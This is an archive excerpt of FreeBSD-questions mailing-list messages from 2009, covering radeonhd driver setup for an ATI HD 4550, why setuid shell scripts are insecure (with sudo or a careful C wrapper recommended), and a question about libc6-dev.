<4A9654F9.5040805@mapper.nl> <4A965B04.9010004@mapper.nl> <4A96644A.50504@mapper.nl> Date: Sat, 29 Aug 2009 15:11:29 +0000 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 15:11:31 -0000 Hi folks!!! Homework done! updated to STABLE 7.2: uname -a: [iscariote@ /usr/home/iscariote]$ uname -a FreeBSD 7.2-STABLE FreeBSD 7.2-STABLE #1: Sat Aug 29 15:04:29 UTC 2009 root@:/usr/obj/usr/src/sys/GENERIC amd64 [iscariote@ /usr/home/iscariote]$ Installed radeonhd from radeonhd: /usr/ports/x11-drivers/xf86-video-radeonhd after this, i edited my /etc/X11/Xorg.conf editing that line: [iscariote@ /usr/home/iscariote]$ cat /etc/X11/xorg.conf | grep radeonhd Driver "radeonhd" after, i did install glxgears ant runned: Seems to be working fine, the gears run smothly... But... When I try to set up the effects on gnome... the option still not available... Any ideas? Thanks in advance! 2009/8/27 Jeronimo Calvo > bedankt voor de duidelijke uitleg!! > > Thanks 4everything! > > 2009/8/27 Mark Stapper > >> Jeronimo Calvo wrote: >> >> > Lekker! Lekker! Much more clear now mate! >> > >> > so that means as well, that the procedure for a "fresh installation" >> > as mine, is installing any RELEASE version and after this updated to >> > any of the available STABLE snapshots, (as there is not STABLE isos) >> Lekker? Is that an English word? Seems to be Dutch to me... Ja toch? :-) >> Anyway, you hit the nail on the head. >> However, STABLE isn't a snapshot, it's in continuous development. >> RELEASE can be seen as a snapshot of the STABLE branch. >> Anyway, you get the idea by now. >> Greetz, >> Mark >> >> > From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 16:07:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2380E106564A for ; Sat, 29 Aug 2009 16:07:22 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id DAE198FC12 for ; Sat, 29 Aug 2009 16:07:21 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id n7TG3aEb039007; Sat, 29 Aug 2009 12:03:36 -0400 (EDT) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id n7TG3ajR039006; Sat, 29 Aug 2009 12:03:36 -0400 (EDT) (envelope-from jerrymc) Date: Sat, 29 Aug 2009 12:03:36 -0400 From: Jerry McAllister To: Tim Judd Message-ID: <20090829160336.GA38967@gizmo.acns.msu.edu> References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.2i Cc: RW , freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 16:07:22 -0000 On Fri, Aug 28, 2009 at 08:10:59PM -0600, Tim Judd wrote: > On 8/28/09, RW wrote: > > On Fri, 28 Aug 2009 11:54:19 +0300 > > Giorgos Keramidas wrote: > > > >> On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo > >> wrote: > > > >> > As far as i know, using SUID, script must runs with root > >> > permissions... so i shoudnt get "Permission denied", what im doing > >> > wrong?? > >> > >> No it must not. There are security reasons why shell scripts are not > >> setuid-capable. You can find some of them in the archives of the > >> mailing list, going back at least until 1997. > > > > I'm bit puzzled by this, previous threads have given the impression > > that this is a myth, for example: > > > > http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185134.html > > > > So are scripts actually incapable of running setuid? > > > Dunno, but this dawns on me.. > > what defines a script? I've always defined a script that starts with > a #! shebang. > > So the script can be SUID, but the interpreter/shell isn't. Is that > why it doesn't work? It doesn't work because the system does not allow it - for security reasons. You could fish around and defeat that but don't. The most common way to get around it is create a tiny binary that can run Setuid which merely invokes your script. The better way is to use Sudo as has been suggested already in this thread. ////jerry > > > --Tim > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 17:30:29 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18CCE106564A for ; Sat, 29 Aug 2009 17:30:29 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr17.xs4all.nl (smtp-vbr17.xs4all.nl [194.109.24.37]) by mx1.freebsd.org (Postfix) with ESMTP id 8299E8FC2F for ; Sat, 29 Aug 2009 17:30:28 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr17.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7THURZR091087; Sat, 29 Aug 2009 19:30:27 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id CC912BA8A; Sat, 29 Aug 2009 19:30:26 +0200 (CEST) Date: Sat, 29 Aug 2009 19:30:26 +0200 From: Roland Smith To: Jeronimo Calvo Message-ID: <20090829173026.GA42066@slackbox.xs4all.nl> References: <4A964415.6030008@mapper.nl> <4A9654F9.5040805@mapper.nl> <4A965B04.9010004@mapper.nl> <4A96644A.50504@mapper.nl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="PEIAKu/WMn1b1Hv9" Content-Disposition: inline In-Reply-To: X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: Mark Stapper , freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 17:30:29 -0000 --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Aug 29, 2009 at 03:11:29PM +0000, Jeronimo Calvo wrote: > updated to STABLE 7.2: > Installed radeonhd from radeonhd: > > after this, i edited my /etc/X11/Xorg.conf >=20 > editing that line: >=20 > [iscariote@ /usr/home/iscariote]$ cat /etc/X11/xorg.conf | grep radeonhd > Driver > "radeonhd" > > after, i did install glxgears ant runned: > Seems to be working fine, the gears run smothly... >=20 > But... When I try to set up the effects on gnome... the option still not > available... >=20 > Any ideas? Hardware 3D accelleration for this GPU (codename RV710XT) isn't available y= et, I think. If it was, the command 'grep Direct /var/log/Xorg.0.log' should return '(II) RADEONHD(0): Direct rendering enabled'. 3D accelleration support for newer Radeons is being worked on, though, and = to quote Robert Noland it is "coming along nicely". If you are willing to install the radeon kernel module and possibly libdrm = and the radeonhd driver from their respective git repositories, it might work. Otherwise, you'll have to be patient for a while longer. Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --PEIAKu/WMn1b1Hv9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqZZbIACgkQEnfvsMMhpyX6jwCeKCDZaD0ncy1pta5rl0j3F8Eh yTQAniABgNGBfMzLByE4cAqZp2fuVxx7 =CL43 -----END PGP SIGNATURE----- --PEIAKu/WMn1b1Hv9-- From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 18:22:19 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 072221065674 for ; Sat, 29 Aug 2009 18:22:19 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 966658FC19 for ; Sat, 29 Aug 2009 18:22:17 +0000 (UTC) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id n7TIM4bl002386; Sat, 29 Aug 2009 19:22:10 +0100 (BST) (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.8.3 smtp.infracaninophile.co.uk n7TIM4bl002386 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1251570131; bh=yY9cSPMRTuPcFGzfdvXG0UBhAOi4fzlKsF6N7a+PN0w=; h=Message-ID:Date:From:MIME-Version:To:CC:Subject:References: In-Reply-To:Content-Type:Cc:Content-Type:Date:From:In-Reply-To: Message-ID:Mime-Version:References:To; z=Message-ID:=20<4A9971C5.1080308@infracaninophile.co.uk>|Date:=20S at,=2029=20Aug=202009=2019:21:57=20+0100|From:=20Matthew=20Seaman= 20|Organization:=20Infracaninophi le|User-Agent:=20Thunderbird=202.0.0.23=20(X11/20090823)|MIME-Vers ion:=201.0|To:=20RW=20|CC:=20freebsd-q uestions@freebsd.org|Subject:=20Re:=20SUID=20permission=20on=20Bas h=20script|References:=20=09<87y6p4pbd0.fsf@kobe.laptop>=09<200908290224 31.5841d4de@gumby.homeunix.com>=09<4A98A8A1.7070305@prgmr.com>=09< 4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com>=20<20090829134436 .4461d8c9@gumby.homeunix.com>|In-Reply-To:=20<20090829134436.4461d 8c9@gumby.homeunix.com>|X-Enigmail-Version:=200.95.6|Content-Type: =20multipart/signed=3B=20micalg=3Dpgp-sha256=3B=0D=0A=20protocol=3 D"application/pgp-signature"=3B=0D=0A=20boundary=3D"------------en igE4AF1D4B9A72E543D1387278"; b=2i9J+L23dxCy/tWHU+ZnpYZ0p7CXMOk0e+fbZzy9idnekv+9ALbuyVbJVR4LkQHv2 rOx8hcMlfIborsQ7OsgWc+LTdyuig390tHG5NmhaEfx5pxX/6YbQZgh2vQVT+I4L/p I0XMBeRFAfWnMECWttUOyTEHEpCroysyljcR9qIo= X-Authentication-Warning: happy-idiot-talk.infracaninophile.co.uk: Host localhost [IPv6:::1] claimed to be happy-idiot-talk.infracaninophile.co.uk Message-ID: <4A9971C5.1080308@infracaninophile.co.uk> Date: Sat, 29 Aug 2009 19:21:57 +0100 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.23 (X11/20090823) MIME-Version: 1.0 To: RW References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> <20090829134436.4461d8c9@gumby.homeunix.com> In-Reply-To: <20090829134436.4461d8c9@gumby.homeunix.com> X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enigE4AF1D4B9A72E543D1387278" X-Virus-Scanned: clamav-milter 0.95.2 at happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-3.0 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 18:22:19 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigE4AF1D4B9A72E543D1387278 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable RW wrote: > On Sat, 29 Aug 2009 00:06:29 -0700 > perryh@pluto.rain.com wrote: >=20 >> Michael David Crawford wrote: >>> It's not that setuid shell scripts are really more >>> inherently insecure than programs written in C. >> Actually, absent some careful cooperation between the kernel >> and the interpreter to prevent a race condition that can cause >> the interpreter to run (with elevated permissions) a completely >> different script than the one that was marked setuid, setuid >> scripts _are_ insecure in a way that _cannot_ be fixed by any >> degree of care that might be taken in the writing of the script. >> >> Check the hackers@ archives. It was discussed a little over a >> month ago. >=20 > But is isn't that the same issue that Matthew Seaman was saying was > fixed years ago (in the link I gave before), and is described in the > follow-up: >=20 > http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185145.htm= l >=20 > That's entirely in the kernel, it doesn't require interpreter support. The race condition between the kernel opening the script and the interpre= ter doing so should certainly be fixed in any Unix or Linux distribution avai= lable today. Either, as above, by the kernel passing an open file descriptor t= o the invoked script, or simply by ignoring any setuid or setgid bits on interp= reted scripts. There are other attacks against SUID scripts -- see for instance: http://www.tech-faq.com/suid-root-script-binary.shtml http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html most of which work by exploiting the sort of features of the scripting language that make it into a powerful and useful tool. Almost all of the= se sort of exploits can be avoided by careful programming -- for instance, always explicitly setting $IFS and $PATH to known good values, or using t= he one set of command line flags allowed on the #! line to block the '-i' t= rick (ie. use '#!/bin/sh --' which forces any subsequent items on the command line to be treated as files rather than command options). However, you (the programmer) would have to know all about the various tricks for=20 exploiting suid-ness in order to counter them. The preferred way of running a script SUID is to write a very small C=20 wrapper program that can be made SUID and that executes the script after gaining increased privileges. Done well, this is definitely the best and= most secure approach. Note however that the C wrapper must be similarly as carefully written as a suid script or many of the same exploits could sti= ll be possible. So, unless you are an expert programmer and understand how to defend your= code against attack, your best bet really is to just use sudo(8). Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enigE4AF1D4B9A72E543D1387278 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkqZccwACgkQ8Mjk52CukIyuCwCffQyeElJCo7vO182PVgpRThK9 9JIAn0c4bk80fjSiJqHWvBeZHopZBXvc =fZw1 -----END PGP SIGNATURE----- --------------enigE4AF1D4B9A72E543D1387278-- From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 20:33:23 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B3616106566B for ; Sat, 29 Aug 2009 20:33:23 +0000 (UTC) (envelope-from mdc@prgmr.com) Received: from mail.prgmr.com (mail.prgmr.com [64.62.173.114]) by mx1.freebsd.org (Postfix) with ESMTP id 9EF708FC19 for ; Sat, 29 Aug 2009 20:33:23 +0000 (UTC) Received: from frylock.local (c-71-202-68-54.hsd1.ca.comcast.net [71.202.68.54]) by mail.prgmr.com (Postfix) with ESMTP id 7FC1268B5B for ; Sat, 29 Aug 2009 13:35:21 -0700 (PDT) Message-ID: <4A99908F.7090804@prgmr.com> Date: Sat, 29 Aug 2009 13:33:19 -0700 From: Michael David Crawford Organization: Prgmr.com User-Agent: Thunderbird 2.0.0.22 (Macintosh/20090605) MIME-Version: 1.0 CC: freebsd-questions@freebsd.org References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> <20090829134436.4461d8c9@gumby.homeunix.com> <4A9971C5.1080308@infracaninophile.co.uk> In-Reply-To: <4A9971C5.1080308@infracaninophile.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 20:33:23 -0000 Perhaps a better idea than a setuid shell script, would be to figure out just what it is about your script that really needs to be executed as root. When write a C program that can do just that one thing - and absolutely nothing else. If it takes any kind of input, or command line parameters, then it must validate them very carefully, to ensure that it's not being misused. Then your script could call that C program whenever it needs that privileged operation performed. Suppose you were to give the keys to your Lamborghini to a parking attendant. Wouldn't you want to trust that he wasn't going to sell your Lamborghini to a chop shop? Writing a setuid program is just like that: writing one poorly is like handing your race car keys to a car thief. He might not steal your car today, but if you're not careful about how you hand out your trust, he will someday. Mike -- Michael David Crawford mdc@prgmr.com prgmr.com - We Don't Assume You Are Stupid. Xen-Powered Virtual Private Servers: http://prgmr.com/xen From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 17:01:04 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9EF3C106566B for ; Sat, 29 Aug 2009 17:01:04 +0000 (UTC) (envelope-from voldem@techemail.com) Received: from omta0104.mta.everyone.net (imta-38.everyone.net [216.200.145.38]) by mx1.freebsd.org (Postfix) with ESMTP id 8D6D38FC17 for ; Sat, 29 Aug 2009 17:01:04 +0000 (UTC) Received: from dm24.mta.everyone.net (sj1-slb03-gw2 [172.16.1.96]) by omta0104.mta.everyone.net (Postfix) with ESMTP id 72F2A498ABE for ; Sat, 29 Aug 2009 09:35:49 -0700 (PDT) X-Eon-Dm: dm24 Received: by resin13.mta.everyone.net (EON-PICKUP) id resin13.4a96c017.2733; Sat, 29 Aug 2009 09:35:49 -0700 Message-Id: <20090829093549.5CDF0310@resin13.mta.everyone.net> Date: Sat, 29 Aug 2009 09:35:49 -0700 From: "Vladimir M" To: X-Eon-Sig: AQCTVN1KmVjltKreLgEAAAAB,939d84ff58c0a801493b25304b20ef95 X-Originating-Ip: [24.46.64.254] X-Mailman-Approved-At: Sat, 29 Aug 2009 21:50:37 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: About libc6-dev on FreeBsd X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: voldem@techemail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 17:01:04 -0000 Hello, I'm using FreeBsd 6.3 and I trying to build APE-Server from [1]http://www.ape-project.org. To compile APE -Server its riquire: - GCC - libc6-dev Could you please give me any suggestion about howto install libc6-dev on FreeBsd? Thank you. Best regards, Vladimir M References 1. http://www.ape-project.org/